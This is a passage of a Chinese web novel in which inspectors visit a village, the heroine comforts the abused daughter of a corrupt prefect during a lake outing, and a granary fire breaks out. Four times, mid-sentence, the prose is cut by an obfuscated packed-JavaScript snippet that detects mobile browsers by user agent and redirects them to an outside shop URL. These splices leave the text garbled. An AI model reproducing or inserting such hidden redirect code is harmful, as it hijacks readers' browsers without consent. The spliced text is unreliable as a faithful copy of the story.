鱼是唐顺他们特意抓的，鸡是唐叔在家现杀的，足可见他们对待客人的重视。 张学士道：“当然吃得惯，这饭菜可比监察院的伙食好多了，你们说是不是？” 几人捧场得一阵点头。 村里没有茶也没有酒，碗里盛了清洌的井水，也另有一番滋味。 金桐原以为留饭是仍有话说，这于官场已经成为了一种默认的规则，正如他们初到岭南那日何太守设宴那般情况。 可饭桌上三石村的几位老者聊天侃地，什么都能说上两句，唯独谈不到正事，与他们相处让人感到久违的轻松。 饭桌虽然喧闹，人心却安宁。 村长也只是安静地夹菜吃饭，他吃得不多，看起来咀嚼有些费力。 金桐看着他吃饭的样子，又想到了自己搀扶他摸到的瘦骨嶙峋的胳膊，想着下次来要带着软和的吃食。 餐毕，虎儿娘自觉起来收拾残局，金桐和苏礼明主动过去帮忙。 彭昱和周子衡有样学样，跟着蹭了过去。 这倒让唐叔做不住了，他挠挠头，道：“这算咋回事啊？娃儿们快别忙活了。” “让他们去吧。”张学士一脸满意，“少年人就是要勤快些。” 那边彭昱和周子衡端着碗碟跟在金桐和苏礼明身后，低声道：“没想到你们还会做这些。” 在他们心里，这两个人到底与他们这种平民百姓非是一路人。 苏礼明笑笑没说话，倒是金桐道：“小事而已。” 心中闪过多日以来相处的点点滴滴，周子衡郑重道：“抱歉。” 金桐疑惑地看他，不知这是哪一出。 周子衡道：“我为自己曾草率相信谣言而对你道歉。” 彭昱道：“我也道歉。” “那不是都过去了吗？”金桐笑了笑，“我以为我们早就是朋友了。” 彭昱后知后觉道：“现在想想，那些人还真是过分啊。” “什么谣言？”苏礼明问道。 金桐这才想起来苏礼明这位当事者还在旁边，忽然慌乱。 她能视他人之恶语谣言为耳旁风，却不能接受那些污秽之言传进苏礼明的耳中。 “别说。”她阻止彭昱道。 彭昱乖乖闭上了嘴。 苏礼明看着她，她错开了目光，“我不是有意瞒你，我只是不希望你牵扯进来。” 周子衡却道：“可我觉得苏公子有知情的权利。” 苏礼明敏锐地洞察出了他言中之意，问道：“与我有关？” 金桐不吭声。 他接着便联想到刘义秉在黄榜之下的话，又问道：“与刘义秉有关？” 他已猜到八九不离十，便是无论如何也瞒不下去了。 关于他们的谣言愈传愈烈，什么离谱的版本都有，金桐挑捡了些能入耳的，委婉说与苏礼明听，偷偷观察他的神色。 “你我之间清清白白，不必管他人如何说，对吧？” 这下轮到苏礼明沉默了。 他顿了顿，只道：“交给我处理。” 金桐想说不必，但想到刚才周子衡说的，苏礼明作为当事者卷入其中，这也关乎他的声誉，他有选择如何处理的权利。 “我又连累你了。”她内疚道。 回程的马车上，气氛一度十分沉寂。 张学士瞧他们几个的样子，偷笑成了老狐狸，对着金桐和苏礼明调侃：“吵架了？” “没有的事。”金桐愣了愣，回答道。 张学士又问：“那为何一两个都这种脸色啊？” “哎，都怪我多嘴。”彭昱懊恼道，“学士您别问他们了，不是什么好听的话。” 张学士偏生最喜欢凑热闹，闻言更是好奇：“究竟说什么事？说来听听。” 彭昱怏怏偷看了眼金桐，见她没大反应，便对张学士坦白了监察院中的风言风语。 张学士罕见地冷了脸色，彭昱从他身上感受到初次见面时的严厉气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868527|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息，害怕地缩了缩脖子。 “无稽之谈。”他肃声道，“监察院用人，向来按规矩层层筛选。金桐的文章是监察院诸位学士亲自过目的，入榜也是监察大人钦点的结果。旁人如何说无所谓，监察院内部决不允许出现这种不正之风。” 他早知道因着周学士的关系，一众学子对金桐的态度微妙，但金桐并非软弱之人，她从未与人提说，他便也不曾追问。 今日他才知那些人的无耻程度以及金桐身陷口舌纷扰如此之深。 “这是品行的问题。”张学士对苏礼明保证，“是我失职，连累国公府牵扯进监察院的风言风语中，回去后我定肃清此事。” “非是学士之责。”苏礼明道，“不过，有些事情确实该清算一下了。” 他们回到住所，车夫面色晦暗地驱车离开了。 金桐注视着他去的方向，道：“何太守应该很快就会得到消息了。” 何太守是无利不起早的人，既然为他们安排了马车，总不至于只是为他们行方便而已。 车夫是何太守的人，他们早知道。他们没什么不可告人的行事，便也不怕他的监视。 桌上的茶是他们早上沏的，已经凉透了。 张学士倒了一杯饮下，道：“邱监察派我们来岭南，除了实行金桐提出的方法，其实还有一事，相信你们已经知道。” “何太守徇私枉法，与地主勾结哄抬粮价，从中牟利。” 张学士道：“正是此事。” 金桐问道：“这其中……是否还牵扯到其他关系？” “你想说什么？” 金桐略作斟酌，道：“村长说，十多年前邱监察为了保护三石村农田得罪了不该得罪的人。” “何太守的背后，是谁？” 她这一问，彭昱和周子衡才意识到，从他们到达岭南，何太守便没对他们掩饰过自己的贪欲。 为三地主牵绳搭线也好，几次三番把女儿何盈盈往苏礼明身边推也好。 他看似对监察院的到来十分重视，其实也只是做做样子。 他太有恃无恐了。 看着三张年轻的面容，张学士不禁动了恻隐之心，即便世故如他，到此刻也无法下定决心将金桐他们几个孩子牵扯进来。 “有些事情我仍不愿让你们知道得太清楚。从你们离开西京，这场考验就已经开始，开弓没有回头箭，我却希望你们能够随时抽身。”他长叹一口气，摇摇头，“权当是我作为长辈的一点儿私心吧。” “张学士……”彭昱下意识唤他，但最终什么也没说。 苏礼明道：“我能理解学士想要保护后辈的心，但他们已经牵扯其中，有时候无知也会害人。” “苏礼明说得对。”金桐应和道，“而且于我而言，是不愿意稀里糊涂被人保护着的。” 彭昱和周子衡也道：“我也不愿。” 他们神色坚毅，目光亮如烛火，几乎要将张学士灼伤。 “罢了，罢了。”张学士看着他们，想起来初见时的邱监察，也是这般憋着一股不管不顾的劲头。 他妥协了，道：“年轻人做事不能全凭满腔冲动，这些天你们都好好想想，若还决心如此，我自会告知你们一切。” 30. 游湖 又过一日，何太守果然按捺不住，登门拜访。 他面上挂着夸张的笑容，五官要挤作一团，口中也净是些不走心的恭维之语。 “不愧是张学士，一出马事情就进展得顺利，下官特意携小女来道喜啊。” “哪里哪里，还不是多亏何太守爱民如子，百姓才对我们如此信任配合。” 张学士在监察院几十年也不是白混的，见招拆招，真是好一番阴阳，几个知情人都努力憋笑。 何太守神色一僵，脸上有些挂不住，但看张学士说话时的神态，他也分不清张学士是不是在嘲讽自己。 “哈哈，学士谬赞了。”他干笑两声，将这个话题打着哈哈岔过去。 他们说着些令人听着抓不住要领的官话，趁着他们言谈间你来我往的间隙，金桐轻手轻脚地退到了一旁。 何太守身边一直低着头的何盈盈心有所感，忽然偏头看她，又看了眼自己沉于交际的父亲，偷偷移步到了金桐身边。 “你的腿没事吧？”何盈盈轻声道，“那天你们走后，父亲发了好大的脾气。” 金桐想笑，好像每次他们离开太守府，何太守都要因为点儿事情发作一番。 她原地转了小半圈，又转回来，对何盈盈眨眨眼，问道：“你看我像有事的样子吗？” “没事就好。” 今日何太守要带她出门，她没有拒绝。何太守还觉得她反常，临行前特意警告她别惹是生非。 其实是她心里一直惦记着金桐为她挡的那一脚，总想要亲口问一问。 现在亲眼见到金桐无恙，她也算终于放了心。 与何盈盈担忧金桐的心一样，金桐也惦念着何盈盈。 “何太守没迁怒你吧？” 那日她虽然提前把何盈盈支开，却不能保证何太守不秋后算账。何太守被他们将了一军，肚子里的火总得有个地方发。 何盈盈错开眼，一只手下意识摸上小臂。 “没有。” 看她样子金桐就知道她在说假话，心中酸涩涌起，觉得对不住她。 但金桐不想拆穿令她难堪，只好装作什么都没看出来，故作轻松道：“那就好。” 至于如何补偿她，也只能容后再想了。 何盈盈对她问道：“那天你叫我到身边，说你故意的，是什么意思？” 金桐回想了一下，确有此事。当时她看何盈盈太伤心无主，便忍不住安慰她。 “故意的意思就是……” “是什么？” 何盈盈澄澈的黑眼珠望着金桐，让她想起某些想要亲人却又容易受惊的鸟。 “我是故意去挡那一脚的。”金桐对她坦白，心中不免忐忑。 “我还以为你是为了保护我……”何盈盈失落道，对金桐露出一个局促的强颜欢笑，“不是的话就太好了，对我好的人，大多不会有什么好下场。” 她说最后一句话的时候声音低得不能再低，可金桐还是听得清清楚楚。 何太守终于发现她们在旁边嘀嘀咕咕，他先是贼眉鼠眼地瞄了一眼苏礼明，又冷着脸给何盈盈使了个眼色。 这一切落在金桐眼里，她忍不住感慨：何太守对苏礼明还真是执念颇深啊。 “何太守。”金桐上前一步，道，“苏公子想出去逛逛，可惜不熟地界，不知令爱是否方便同行？” 她有许多话想问何盈盈，但这里不是说话的地方，便拿苏礼明当作由头，想把何盈盈带出去再说。 “方便，自是方便极了。”他对着苏礼明嘴角快要压不住，转向何盈盈还故作姿态扮演一位严父，“盈盈，好好招待苏公子，不得怠慢，知不知道？” 何盈盈看着脚尖不说话，只留给他一个倔强的发顶。 眼看何太守又要发怒，金桐在背后偷偷勾了下她的手指。 这种突然的触碰令何盈盈一抖，她闷声道：“知道了。” 苏礼明好好坐着喝茶，却被莫名牵连，他将茶盏轻搁在桌边，看向金桐的时候右侧眉尾轻轻挑起，但没戳穿她。 “苏……咳……” 她久不叫“苏公子”这个称呼，对着旁人倒还好，对着苏礼明本人，竟是十分地难以启齿。 “那个，苏公子请吧。” 她唤他时眼神乱飞，似是不敢正面看他。 这幅神态令苏礼明心情大好。 他唇角微勾，眼底漫起一丝欣愉。 他单手背在身后，迈着两条长腿从金桐眼前路过，而后站定。 他略回过头，留给金桐一个促狭的侧脸，用两个人能听见的声音道：“金小姐，请吧。” 金桐听出他言语间的调笑之意，暗自捏了捏拳，对着他的背后瞪了一眼。 何盈盈对于和苏礼明相处这件事万分抵触，她犹犹豫豫站在原地。 金桐对她点点头，道：“走吧。” 何盈盈这才不情不愿地蹭着步子往门口走。 “等一下。”何太守道，“金小友难道也要同往？” 苏礼明面无表情地回头，“何太守对此有何异议？” “怎会？”何太守斟酌道，“我只是担忧小友腿伤，关心则乱罢了。” “小友若无大碍，我回去总算能睡个好觉了。” 原来是在这等着，这何太守反应倒快，两句话便让她进退维谷了。 她被何太守难住，一时还没想好如何应答。 苏礼明看她面色为难，便道：“何太守一席话，当真令我恍然大悟。” “是我疏忽，忽略了金小姐行动不便。”苏礼明由衷地对金桐表达了歉意，“我粗心至此，实在没有颜面弃金小姐不顾而独自游玩。” 何太守这下恨不得抽自己两耳光，只怪自己多嘴。 他看出金桐与苏礼明之间地不一般，何盈盈好不容易有和苏礼明相处的机会，他不希望金桐在场打扰他们二人，却是低估了苏礼明待金桐之谊，弄巧成拙了。 他懊恼地张着嘴，想说些什么扭转苏礼明的决定，但说出口的话又如何收回。 最后见苏礼明真要往回走，他欲言又止，神情仿佛吃了苍蝇一般。 “因我扰了苏公子与何小姐的雅兴，这该如何是好？”金桐拧着眉头，状若为难地看向何太守。 何太守满脑子都在想怎么递出一个合理的台阶，让苏礼明改变主意。 他下意识地跟着金桐的话重复，“是啊，如何是好？” 金桐轻掖鬓发，看似有些勉为其难：“我虽有不便，却也勉强能行走，若是行得慢些，倒也无碍。” 何盈盈提议道：“丹阳湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868528|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的景色有些韵味，苏公子如果感兴趣，不妨乘船游赏湖景，也免得金小姐受累。” 金桐与何太守俱惊讶地看向何盈盈，几次见面，她总是沉默不愿与人交流，这还是她第一次主动说这么多话。 何太守很满意女儿的开窍，对何盈盈赞赏地点了点头。 何盈盈则有些厌恶地别开了脸。 金桐唯恐何太守因何盈盈的态度而训斥她，连忙把话头接过来：“多谢何小姐为我费心。” 她对苏礼明问道：“我觉得何小姐的提议不错，你意下如何？” “唔。”苏礼明故意拿腔作势，吊何太守的胃口。 何太守立刻递上台阶：“丹阳湖算是岭南一大胜景，苏公子来此若不游赏一回，倒是我招待不周了。” 苏礼明道：“如此说，为了何太守的拳拳之心，我也不得不去上一趟了。” 话说到这份上，苏礼明总算跟着何盈盈走了，何太守顿觉松了心。 彭昱和周子衡观他阿谀谄媚，心中多有不屑，难免显露于面上。 何太守转头见他二人神色，才觉厚此薄彼，找补道：“学士与二位小友，下官另有安排，还望赏脸。” 彭昱偏不如他意，小声嘀咕道：“我也想游湖。” 周子衡轻拽他袖子，让他收声。 何太守面色尴尬，彭昱多次对他言语不敬，他也窝火。 但张学士似乎对手下之人多有纵容，他碍于张学士的面子发做不得。 张学士只当作没听见彭昱的话，用笑声遮掩过去，应了他的邀约：“有劳何太守费心了。” 与此同时，何盈盈倒真领着他们到了丹阳湖，找到湖边的船家，要租人家的乌篷船。 她略有生疏地跟船家还价，船家看她衣着，自是分毫不让。 何盈盈有些着急了。 金桐觉得好笑，上前安慰她道：“不必还价了，就二百文吧。” 何盈盈道：“我只有一百五十文。” 她倒实诚，金桐忍笑，解下自己的钱袋子，便要交钱给船家。 船家眼见生意成了，喜笑颜开地伸手去接。 何盈盈一把按住金桐的手，“不行。” 她拉着金桐到一旁说悄悄话：“平时都是五十文一人，三人分明就是一百五十文，这船家故意多收钱。” 金桐莫名觉得，她离开何太守身边，整个人似乎鲜活许多。 这副较真的样子当真可爱极了。 金桐不愿让她扫兴，便回去质问船家。 “账不能这么算。”船家振振有词，“一人确实五十文没错，但我这船能载四人，你们又是包整条船，当然是二百文。” 船家这么个算法，金桐觉得船家说的也不无道理。 “别被他蒙蔽了。” 何盈盈对船夫道：“休想唬我，你又不是满员才发船。从前两个人你也发船的，只收一百文。” 这样看的话，船家确实有些欺负人了。 他分明就是看准了他们一定要坐船，以此拿捏，漫天要价。 对付这样的人还不简单？ “既然谈不拢，我们就不坐了。” 金桐假意诈他，拉着何盈盈就走，船夫在她们身后连连喊道：“好好好，一百五十文就一百五十文。” 31. 谈心 何盈盈倚在船舱里，一边的胳膊打在护栏上。 日光倾泻，睫毛在她的眼底投下一片阴影，她半眯着眼，眺望远处惊起的沙鸥，脸上挂着恬淡的笑意。 这一百五十文的船，到底是让她乘上了。 船夫虽然少赚了五十文，但这于他而言也是一笔大生意。 他引他们登船时客气周到，撑船的双臂也十分有力沉稳。 棹杆拨弄水波，船儿平稳行进，船上的人感受不到来自水下的阻碍，就好像凭空漂浮一般随波逐流着。 船夫也满意于自己的功夫，甚至心情不错地哼起了小曲儿。 何盈盈下意识接上他的调子，却在听见自己声音的瞬间骤然回神，恍如梦醒。 见她情绪忽然低落，金桐关心道：“怎么了？” “这支小调是我母亲从前常哼的。” “我不开心母亲就带我来坐船，两个人一百文，她总是要攒好久。” 何盈盈口中的母亲，并不是指她现在称作“母亲”的那个人。 何太守的结发妻子已经去世多年，太守府现在的当家主母是为续弦，何盈盈是何太守与第一位妻子的孩子。 这些事情算不上秘密，个中细节只要有心便可探听得来。 但金桐对别人的家私不甚感兴趣，未曾刻意打听过，尽管如此，流言还是在不经意间钻进了她的耳朵里。 金桐摆出一个倾听的姿态。 如果讲述这个故事的人是何盈盈，那么她很愿意继续听下去。 何盈盈感受到金桐温和的目光，或许因为她许多年没有被人关心过，又或许是她已经太久没和谁说过话了。 总之，何盈盈真的很想倾诉些什么。 自从上次与金桐分别之后，她便一直很想。 只是…… 她略带不满地看向苏礼明——这位不被她欢迎的国公府公子。 她既因父亲而厌恶他，又因想要与金桐共处而不得不利用他。 苏礼明本来正欣赏湖上风光，察觉到何盈盈的目光，颇有风度道：“我去甲板透透气。” 船舱里只剩下何盈盈和金桐二人。 小小的船舱为她们隔绝出一方天地，在这里，何盈盈得以短暂地喘息。 “我的母亲是渔女出身。” “母亲初次见到他时，他还只是个穷秀才。” 何盈盈的声音像是从很远的地方飘来，平静地讲述着别人的故事。她不愿称何太守一声父亲，只以“他”代之。 “母亲生得美，他对母亲一见钟情，不顾家里反对，一意孤行要娶母亲为妻，不惜错过那一年的乡试。” “后来他当了官，带着年幼的我和母亲来到岭南，一切都变了。” 何盈盈在很认真地回忆。 母亲离世时她还太小，年幼时她对外界的感知不多，那种变化对她而言太过艰深。 她只是凭本能感觉到有什么东西慢慢变得不一样了，至于哪里不一样，当年的她说不上来。 现在的她想不起来。 这些都是她从母亲口中得知的，照本宣科地讲给金桐听。 金桐从她的双眸中看出了疑惑。 何盈盈在不解，她需要有人为她指点迷津。 “人为什么会变呢？” 提起那段往事，产生这样的疑问，何盈盈没有任何仇恨或痛苦的情绪。 她的语气轻而淡，像一个真心求知的人。 母亲口中曾经那么好的人，为什么会变呢？ 可惜金桐也不知道问题的答案，她对于父母双亲的记忆甚至比何盈盈还要少。 她的母亲因生产而早逝，她的父亲因思念母亲而离世。 他们是什么样的人，他们之间的感情多么笃深，她永远也无法洞悉了。 但她始终相信世间有些东西是能够亘久永恒的。 她的父亲和母亲不仅一直深爱着彼此，也深爱着她。 她也将永远敬爱并怀念他们。 “人是不会变的。”金桐道，“你看见的改变，也许只是他暴露的本性。” 何盈盈垂下眼皮，像一个沉默的人偶。 她看似在出神，微颤的睫毛却表明她正在思考。 金桐轻轻开口：“我从前做过一个梦，没有和人说过。” “什么样的梦？”何盈盈问她。 金桐尽量将自己从中摘出，悠悠道：“梦中有一女子，寻得一位好郎君，周遭人都很钦羡。他们相伴十年，生活富足，举案齐眉，未曾红过一次脸。后来……” 说到这里，金桐仿佛回到了睁开眼的那一刻，痛苦如浪潮向她席卷而来，她不得不暂且停下平息心绪。 她不是优柔寡断的性子，惨痛如前世，她也不会过度沉溺于自伤之中。过往种种早已成为黄粱一梦，她以为自己忘了，时至今日才惊觉，原来有些经历早已刻入血肉骨，永远深刻清晰，只是被她刻意藏起。 她陷入回忆，半晌没有言语。 何盈盈安静地看着她，给予了十足的耐心，没有打扰。 “后来那个女子终于有了身孕，她以为往后的日子会一天好过一天，但她的生命就在此戛然而止了。” “是她的夫君害死了她吗？” 何盈盈知道金桐不会无缘无故和她说这个梦境，其中定有蹊跷之处。 “对，是她的夫君害死了她。趁她有孕，她的夫君掠夺她的钱财，把外室和孩子带到她面前，逼她认下，最后与外室合谋杀了她。”金桐说到这里，停顿了一下，“一尸两命。” 何盈盈惊呼出声：“他竟然连亲子都不放过。” “有些人的恶就是这样直白。”金桐惨笑了一下，“十年，三千多个日夜，怎么突然就变了呢？” “那名女子到死才明白，不是枕边之人变了，而是他演技高明，自己从未看透。” “梦中男子为财伪装蛰伏……”何盈盈若有所思，“所以母亲感受到的诸多爱慕，也只是人家图她美貌罢了。” “他们其实从未变过，不过是为达目的扮演了另一个人。” “我明白了。所以他才会嫌恶我不是儿子，嫌恶母亲的出身，才会因一点儿小事就对她侮辱责骂。母亲临终前还死死抓着我的手让我不要恨，她说自己不后悔……” “可他竟然从未爱过她。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868529|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何盈盈终于从母亲编织的美好回忆中洞察出当年的真相。 她沉痛地阖上双眼，一滴泪夺出眼眶滴在她的手背上，灼热异常。 那是她为母亲流的。 何盈盈的母亲总是安静的，连生病都是安静的，她的身份给不了丈夫助力，只能尽量少地给他添麻烦，以至拖到最后病入骨髓，无药可医。 何盈盈的父亲早就不是父亲了，母亲走后，家也不是家了。 后来太守府有了新的主母，即使她仍住在熟悉的院落闺房，也总觉得是在寄人篱下。 年幼的何盈盈思念母亲的方式就是成为她。 她越来越像母亲，和母亲一样安静，甚至比母亲还要安静。 她的喜怒哀乐都变得无声，反抗也无声，恨也无声。 母亲让她不要恨，她做不到。她恨他的无情，更恨自己无能。 她总是在对抗他，在他的辱骂鞭打中更恨他，也更原谅自己一点。 除了他叫她“丧门星”的时候。 她由衷地认可这个称呼，甚至想过一不做二不休，一碗砒霜了结此生，他们两个都去给母亲偿命。 可是母亲不会高兴她这样做的。 时至今日，她万分庆幸自己仍苟延残喘在这个世间，能够亲口问出一句：“不是我的错，对不对？” “自然不是你的错。”金桐怜惜地看着她，“你的母亲从未怪过你。” 何盈盈安静地落了许久的泪，像是要把从前忍下的委屈一口气都倾泻出来。 她很多年没哭过了，心疼她的人早已不在世上，她哭得再多，不在意她的人也不会因此心软半分，反而会嘲笑她的软弱。 金桐心中怅惘，她们有着相似的经历，何盈盈却比她悲惨太多。 她虽缺少父母的陪伴，但父母给她留下的影响足矣惠及她一生，即使亲眼见证过人心丑恶，她依旧有勇气斩断过去，开始新的人生。 何盈盈仍有亲人在身边，伤她至深的却也是最亲的那个人。 流干泪，何盈盈的瞳孔格外干净明亮，仿若大雨后水洗般的天空，清朗不见阴霾。 她看了眼船头站了许久的苏礼明，道：“他看中苏公子的身份，想让我引诱苏公子，做他的妾室。” 何太守对苏礼明的心思尽写在脸上，无需何盈盈说也无人不知。 只是令金桐没想到的是，何太守为何盈盈谋的不是正妻之位，而是妾室之位。 何盈盈则表示：“这有什么？他本来也没拿我当女儿。” “不管怎样，你都是他唯一的孩子。” “很快就不是了。”何盈盈漠然道，“夫人有了身子，算来已经五个月，大夫说是个男胎。他对这胎很看重，所以急着把我送出去给我那未出世的弟弟铺路。” 何盈盈继承了母亲的好皮囊，何太守虽嫌恶她，却也不忘物尽其用。 她是待价而沽的物件儿，也是他们父子仕途的踏脚石。 “你会讨厌我吗？”何盈盈问道。 金桐还在对她的处境感怀，不想她如此问，愣了一下，“我怎么会讨厌你呢？” “因为苏公子喜欢你。” 32. 失火 一连几日，金桐都故意避着苏礼明。 理智告诉她何盈盈说的话听过即忘就好，但真落到实处，她还是不可避免地受到影响。 苏礼明喜欢她。 听到何盈盈这么说，她没有下意识反驳，而是认真思索起这句话的真实性。 苏礼明果真喜欢她妈？ 从相处的蛛丝马迹可以感觉出，苏礼明待她，总归是有些不同的。 他体贴，包容，处处周到。 但这些不同，在王盛宣和苏景明的身上也总有体现。 他就是这样一个好的人，任谁和他相处都如沐春风。 至于其他情愫，她总觉得自己落下了什么线索，但一时半会儿也难以捕捉。 “发什么呆呢？” 张学士不知在她身后站了多久，忽然出声道。 到了约定的日子，他们今天来到三石村进行第一次收割。 金桐被他吓得一激灵，回头抱怨道：“学士，您走路怎么没声音啊？” “我看是你太入神了吧。”张学士撇撇嘴，手故意搭在眉上，翘着下巴顺着她视线的方向看，“让本学士瞧瞧什么人那么好看。” “不就是彭昱，周子衡和……”张学士边说边观察她的反应，“和苏礼明嘛。” 金桐没说话。 张学士觉得没意思，便问道：“最近都不见你们在一处呆着，又生气了？” “哪来的又？”金桐揪他字眼，“从来也没生过气。” “没生气就好。”张学士半信半疑，“好好的两个人，可别生分了。” 金桐也不想这样。 起初只是她单方面对苏礼明回避，后来苏礼明察觉到她的异样，便主动退开了，于是导致了现在的局面。 “我去粮仓帮忙。”金桐心烦意乱道。 见她这样，张学士也不好再说什么了，便道：“去吧。” 与苏礼明分处两处，金桐的心终于安定了些。 粮仓前面有一大片空场，村民收获的粮脱了粒，平摊在空场晾晒，村长在旁边拿着账本挨家挨户地记录。 他年纪大了，眼也花，大太阳下书写又晃眼，他隔一阵就要停下来用袖子擦一擦眼泪。 金桐走过去，从他手里接过账本，“我来吧。” 村长知道自己的情况，也不逞强，道：“好丫头，你帮我记。” 金桐还不能将村中的人户认全，便由村长口头念给她听，她再按照村长说的记录在账本上。 两个人配合着忙到傍晚，金桐将账本归还村长让他过目，村长检查无误，才算完工。 夜幕降临，原本崎岖不平的村路变得更加难行。 细小的火苗跳跃，透过油纸映出橘红的光晕，温柔地在黑暗中破出一条通路。 金桐提着灯笼，提醒后面的村长：“您当心。” “娃儿，好好看路，不用管我，这条路我就是闭上眼也走得下来。” 这话金桐是相信的，拐杖就是他的眼睛。 若不是因为自己看不清路，他们也不必点这个灯笼。 金桐笑笑，道：“好。” 晚风轻吹起发梢，金桐顿时感觉一阵清凉。 蝉鸣，蛙叫。 噗通的落水声和穿梭稻田的簌簌声。 夏日的夜晚吞下了白日尘嚣，周遭的声响似被放大，清晰地传进耳朵里。 这是独属是夏夜的静谧。 前面出现了一点光亮，一人提着灯笼迎面朝他们走过来，走得近了，金桐提高灯笼，照清来人的脸。 村长的孙子董壮专程来接他们。 “晚上走路有时候会遇上一些活物，怕惊扰了金小姐，我特意来看看。” 金桐其实并不怕那些小东西，但还是感念于他的细心，道：“多谢你。” 董壮面上浮现一丝尴尬，他挠挠头，道：“我们走吧，张学士他们在等着了。” 董壮在前面为她引路，遇上坑洼都会及时提醒她留意。在他的指引下，金桐走夜路轻松了不少。 只是…… “你们闻到什么味道没有？” 董壮快速吸了几下鼻子，“像是在烧什么东西。” 可是两边都是稻田，哪里有什么能点着的？ 金桐抚上胸口，感觉一阵心悸，莫名有种不好的感觉。 村长道：“我回粮仓看看。” 金桐的心倏尔悬了起来，“我也去。” 他们跌跌撞撞往粮仓走，灯笼左摇右晃，火苗忽明忽暗。 那股焦糊的味道随着他们走近越发浓烈起来，最终他们看到了令人心悸的火光。 最坏的情况——粮仓真的起火了。 董壮丢掉灯笼，冲进晾晒场，脱下上衣摔打在火丛上。 村长找到粮仓的木桶，喊道：“打水！” 董壮立刻将衣服丢在地上，听村长的话去打水灭火，金桐也拎起一个木桶，仅凭他们三人之力，效果甚微，火势不可抑制地变大。 “这样不行。”金桐在火场中被熏出一身的汗，她随意抹了一把额头，“董壮，你腿脚快，去喊人来帮忙。” 董壮一时间进退两难，他没办法安心将金桐和村长两个人留在火场，但也知道他留在这也无法阻止火势蔓延。 村长的双眼被火光映射的精神矍铄，他当机立断道：“听丫头的，你去叫人。” 董壮拧着眉头，不再纠结，立刻转身跑了出去。 金桐和村长也没闲着，两个人拎着水桶一次又一次往返于火场之中，但他们的速度总是比火势蔓延得慢一点，只能看着大火扩散最后连成一片。 汗水流进眼睛里，激起一阵刺痛，衣裙也被浸透，沉重地贴在身上。 双臂和双腿因为透支而酸软使不上力。 金桐从来没有这么绝望过。 她的一切努力在无情的大火面前都显得那样无力。 她不知道自己还能做些什么，她真的很想哭。 汗水混着泪水浸满整个眼眶，泪眼朦胧间她看见村长拖着衰老的身体，拎着水泼进大火里。 村长还没有放弃，所以她也一定不能放弃。 收起没用的心绪，身体迸发出最后的潜力。她重新拎起水桶，如同一只飞蛾不知疲倦地扑进大火里。 她的意识开始混沌不清，仅存的神志只能支撑她重复着灭火这一个动作。 不知过了多久，董壮带着人赶到了。 他身后跟着大队的村民，每个人手中都拎着水桶，一股脑倾泻在大火上。 火势渐熄，金桐也透支了所有力气，她喘着粗气站在原地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868530|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，看着村民在余烬上踩踏，这场意外终于平息。 村长忽然跪在地上，声音粗哑如破洞的风箱：“我对不起大伙儿，都是我的错啊！” 说完这一句，他左右开弓扇起了自己的嘴巴。 金桐情急之下扑倒了过去，拉住村长双手，“您别这样。” 村民七手八脚地把他们扶起来，他们现在也顾不上粮食了，全都紧张地围着村长，生怕他想不开跟自己怄气。 “我是最后离开的，还点了灯笼，一定是我疏忽了。” 村长整个人因为悲伤和疲劳而站不住，他靠在孙子董壮的身上，捶胸痛哭忏悔。 “绝对不可能，咱们都知道您把粮仓看得比命还重要，您又是最谨慎的人，不可能疏忽。这就是天灾，天干物燥的无名火，谁来了都没办法。” 村长已经什么都听不进去，铁了心觉得是自己给村子造成了损失，悲痛地快要昏厥。 平日里村长待大家如何，大家心里都明白。大家对村长也是敬爱有加，拿他当亲人长辈，看他当下的样子，也都心疼得不得了。 “您这是干啥呀？粮食没了地不是还在？咱还能再种，再买，要是因为这点儿事哭坏身子，咱们心里咋过意得去啊？” 董壮手在村长后背拍着，一下一下给他顺气，一时无言。 “不对。” 亲眼见证一位枯槁的老人在自己眼前哭得肝肠寸断，金桐心里也是难过非常。 但相比于伤感，现在更重要的是找出事情的真相，只要弄清楚这场大火并未是村长失责导致的，他心中的芥蒂自然也就消除了。 